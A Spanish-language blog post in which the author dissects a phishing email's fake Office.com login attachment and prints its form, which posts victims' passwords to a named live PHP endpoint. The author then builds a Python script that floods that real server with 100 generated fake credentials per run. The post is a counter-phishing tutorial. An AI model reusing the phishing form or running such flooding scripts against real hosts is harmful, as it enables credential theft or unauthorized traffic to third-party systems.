24
Respondiendo a un ladrón de contraseñas
Contenido
⚠️ IMPORTANTE
Por favor considera que el propósito de este artículo es informativo, y tiene como objeto mostrar cómo hacer requests
POST
en Python usando las librerías nativas. Conviene tener en cuenta un par de puntos importantes al manipular correos electrónicos fraudulentos y al interactuar con los servidores que están diseñados para recibir datos obtenidos de forma ilícita. Por favor lee la sección correspondiente al final del post.
Recibí hace poco un correo electrónico fraudulento que incluía un archivo adjunto que trataba de robar la contraseña de mi cuenta. Si bien los métodos para robar información de los usuarios evolucionan rápidamente, en este caso la idea del ladrón era muy básica: el archivo adjunto era un documento HTM(L) que imitaba casi perfectamente la página de inicio de sesión del correo de Office.com. Así (pensaba sin duda el ladrón) la víctima desprevenida está convencida de estar accediendo a su correo, cuando en realidad le ha regalado sus credenciales de acceso a un desconocido 😡.
Para tratar de dificultarle el robo de contraseñas al ladrón que hay detrás de esto, escribí un script muy sencillo en Python que envía automática y masivamente direcciones de correo y contraseñas falsas a la URL del formulario del archivo adjunto, de forma que la base de datos del ladrón se llene de información de usuarios inexistentes, la cual es difícil de limpiar. En este artículo describo el correo electrónico fraudulento, su mecanismo de robo de información y el diseño del script, que usa únicamente librerías nativas de Python y un archivo con palabras en inglés descargado de internet.
El correo electrónico en cuestión simulaba ser del administrador de TI de la organización, y era así:
Basta ver la dirección del remitente para advertir que se trataba de un engaño. En general estos mensajes ni siquiera llegan a la bandeja de entrada porque el filtro de spam los detiene, pero este correo en particular se le escapó.
Como se puede ver, el archivo adjunto era un documento .htm
. Lo guardé en el disco duro y lo abrí en un editor de texto plano, nunca hay que abrirlo directamente en el navegador porque no sabemos qué pueda tener. En el editor pude ver que el archivo no incluía ningún script y que las referencias externas eran al sitio web de Microsoft, mientras que el cuerpo del documento únicamente contenía un formulario sencillo de login. El documento era seguro de abrir en el navegador:
Se puede ver que el diseño era prácticamente idéntico a la página de login de Office.com. Usando el inspector de Safari, noté que el campo de la contraseña se encuentra dentro de un formulario que, al enviarse, hace una petición POST
a la URL https://level7advertising.com.au/ko/sss.php
. Este es el script PHP
del ladrón, que sin duda registra la respuesta de la víctima y la guarda en una base de datos para que la pueda usar después.
Este es el código fuente del formulario en cuestión, que contenía toda la información para poder diseñar el contraataque:
<form action="https://level7advertising.com.au/ko/sss.php" method="POST">
<p>
<img src="https://aadcdn.msftauth.net/ests/2.1/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg" alt="">
<input type="email" style="border: none;" id="fname" name="username" placeholder="Email Address" value="[email protected]" readonly required>
</p>
<h2>Enter password</h2>
<input type="password" class="input_text" name="password" placeholder="Password">
<div class="link_section">
<a href="#" class="link">Forgot my password</a>
</div>
<br><br>
<button type="submit" class="btn">Continue</button>
</form>
Lo relevante son los dos elementos <input>
que contenía el formulario, pues éstos son los campos que se envían al servidor del ladrón:
- Uno para el correo electrónico, que es de sólo lectura, con el nombre
username
. El valor de este campo es el correo electrónico (el código mostrado dice "[email protected]") para ocultar mi verdadera dirección). - Uno para la contraseña, con el nombre
password
.
Este era, en esencia, la lógica detrás de la idea del ladrón. Mi respuesta fue un script que hiciera lo siguiente:
- Generar una dirección de correo electrónico inexistente.
- Generar una contraseña falsa para esta dirección.
- Enviar esta información a la URL del script PHP del ladrón.
- ¡Repetir!
Así, el primer paso consiste en construir una lista de direcciones de correo electrónico y contraseñas falsas para indundar con ellas la base de datos de nuestro atacante.
Las direcciones de correo electrónico que construí tienen el formato <palabra>@<palabra>.<com/org/net>
, y las contraseñas tienen el formato <palabra><número><símbolo>
.
Evidentemente, lo primero que necesitamos es una lista de palabras. Descargué una (en inglés) de github.com/dwyl/english-words y la guardé en el mismo directorio del script de Python como words_alpha.txt
.
A continuación, abrimos el archivo en Python y guardamos los contenidos en la lista palabras_lista
(no olvidemos cerrar el archivo una vez leído, es una buena práctica):
palabras = open("words_alpha.txt", "r")
palabras_lista = palabras.readlines()
palabras.close()
Examinemos los primeros 10 registros:
palabras_lista[0:10]
>>> ['a\n',
'aa\n',
'aaa\n',
'aah\n',
'aahed\n',
'aahing\n',
'aahs\n',
'aal\n',
'aalii\n',
'aaliis\n']
Notamos que las palabras incluyen al final un salto de línea, esto habrá que considerarlo más adelante. Ahora, definimos una lista con los dominios que usaremos en nuestras direcciones de correo electrónico:
dominios = ["com", "org", "net"]
Ahora sí podemos construir una función que elija aleatoriamente las palabras para construir el correo electrónico y la contraseña. Para la elección aleatoria, usamos la función choice
de la librería nativa random
(documentación aquí). Llamaremos a nuestra función generar_perfil
:
from random import choice
def generar_perfil():
# Generar dirección de correo:
mail = choice(palabras_lista)[:-1] + "@" + choice(palabras_lista)[:-1] + "." + choice(dominios)
# Generar contraseña:
password = choice(palabras_lista)[:-1] + str(choice(range(10, 100))) + choice("!#$&?")
return {'mail': mail, 'password': password}
Recordamos que las palabras incluyen al final un salto de línea, indicado por los caracteres \n
. Por eso hacemos un string slicing en Python para obtener la palabra excepto los dos últimos caracteres: choice(palabras_lista)[:-1]
elige aleatoriamente una palabra de la lista palabras_lista
y devuelve todos sus caracteres excepto los últimos dos.
Comprobamos si funciona invocando 10 veces a la función y viendo los correos y contraseñas que inventa:
for i in range(0, 10):
perfil = generar_perfil()
print(perfil['mail'], "---", perfil['password'])
>>> vegetocarbonaceous@ruralization.com --- crawfish84&
>>> unacquisitiveness@antalkali.com --- velatura30$
>>> ultrastylish@aerodyne.org --- unshocked19?
>>> marines@bloodleaf.net --- vaguios56$
>>> oceanside@bromogelatin.com --- metabolizing43?
>>> peripolygonal@totting.net --- unassaying83!
>>> disquietingly@immaculateness.com --- knapsacked66&
>>> clubbers@heptahedral.org --- libellant94!
>>> recept@unauthoritatively.com --- dingey24!
>>> revoker@lacklustrous.com --- tracheopathia74&
Evidentemente, el correo [email protected]
no suena muy auténtico, pero si hay muchos semejantes en una base de datos, es sumamente difícil automatizar un proceso que los detecte sin requerir entrenar un modelo de machine learning, por lo que sirven perfectamente para nuestro propósito.
Con esto ya tenemos una función capaz de generar direcciones de correo electrónico y contraseñas con formatos válidos, no tan fáciles de detectar como falsas. El siguiente paso es construir el mecanismo para enviar estos datos al servidor del ladrón de contraseñas.
Existen libererías de alto nivel (es decir, más "humanas") para trabajar con peticiones HTTP (por ejemplo, requests
- conoce más aquí). Sin embargo, como queremos emplear sólo los módulos nativos de Python, usaremos la librería urllib
para hacer peticiones al servidor del atacante.
En primer lugar importamos las clases request
y parse
del módulo urllib
. La primera provee de métodos para hacer peticiones HTTP/S, y la segunda nos permite codificar el diccionario que contiene los datos que deseamos enviar a un formato compatible con el método POST
(o GET
en su caso).
from urllib import parse, request
En segundo lugar, definimos los datos que queremos enviar al servidor. Como recordamos, el formulario del archivo adjunto que envió el ladrón tiene dos campos, llamados username
y password
. Estos son los nombres de los campos que debemos enviarle de vuelta. Y los valores son las direcciones de correo electrónico y las contraseñas falsas que obtenemos fácilmente con la función generar_perfil()
:
dato = generar_perfil()
datos = {
"username": dato['mail'],
"password": dato['password']
}
A continuación creamos un string
con los datos codificados para enviarlos al servidor. Esto lo hacemos invocando el encode()
de la siguiente forma:
datos_encoded = parse.urlencode(datos).encode()
Finalmente, guardamos la URL del formulario en la variable url
y enviamos los datos al servidos usando el método urlopen()
de la siguiente forma:
url = "https://level7advertising.com.au/ko/sss.php"
r = request.urlopen(url, datos_encoded)
¡Listo! Hemos enviado un primer registro falso al ladrón de contraseñas. Veamos el estado con el que respondió el servidor usando la propedad status
:
print(r.status)
>>> 200
Una respuesta 200 indica que la petición ha tenido éxito. Ahora el ladrón tiene un registro falso en su base de datos, lo cual le dificultará la tarea de encontrar los registros de personas verdaderas que, en un descuido, le enviaron su contraseña del correo electrónico.
Hasta ahora todo bien, pero si queremos enviar muchas respuestas falsas, es fácil programar un bucle que repita esta acción el número de veces que deseemos. Yo lo programé para enviar 100 registros falsos cada vez, espaciando los envíos un número aleatorio de segundos entre 3 y 6 (para esto usé la función sleep
del módulo time
, que también es nativo de Python - la documentación está aquí).
Al final, el código completo es el siguiente:
from random import choice
from urllib import parse, request
from time import sleep
palabras = open("words_alpha.txt", "r")
palabras_lista = palabras.readlines()
palabras.close()
dominios = ["com", "org", "net"]
url = "https://level7advertising.com.au/ko/sss.php"
def generar_perfil():
mail = choice(palabras_lista)[:-1] + "@" + choice(palabras_lista)[:-1] + "." + choice(dominios)
password = choice(palabras_lista)[:-1] + str(choice(range(10, 100))) + choice("!#$&?")
return {'mail': mail, 'password': password}
for i in range(1, 101):
# Generar perfil falso:
dato = generar_perfil()
datos = {
"username": dato['mail'],
"password": dato['password']
}
# Codificar datos:
datos_encoded = parse.urlencode(datos).encode()
# Enviar petición y mostrar respuesta (junto con el número de iteración):
r = request.urlopen(url, datos_encoded)
print(i, r.status)
# Esperar un número aleatorio de segundos entre 3 y 6:
sleep(choice(range(3, 7)))
A la fecha de publicación del post, no tuve problema en enviar bloques de 100 perfiles de usuarios inexistentes al ladrón de contraseñas 😊 siempre recibiendo una respuesta exitosa (200) del servidor de destino:
>>> 1 200
>>> 2 200
>>> 3 200
>>> 4 200
...
>>> 100 200
- Nunca se deben deben abrir los archivos adjuntos de un correo electrónico que procede de una dirección desconocida, o cuyo contenido parece (aunque sea sólo un poco) fraudulento. Siempre hay que verificar que la dirección del remitente (y no sólo su nombre) sea conocida. En mi caso, abrí el archivo adjunto primero en un editor de texto y verifiqué que no cargara ningún script, ni local ni remotamente, y que las imágenes procedieran de dominios de confianza.
- Al enviar las peticiones
POST
, el receptor podría registrar la IP de la que proceden. Esto representa (al menos) un riesgo menor de privacidad y seguridad. Es importante no hacerlo en equipos que contengan información sensible (por ejemplo, corporativos). En mi caso, usé una VPN para esconder mi dirección IP real, y ejecuté el script en una máquina virtual aislada en mi computadora personal.
Teniendo en cuenta estos puntos y conservando en la medida de lo posible el sentido común, no deberíamos tener problema.
👨💻 Happy coding
24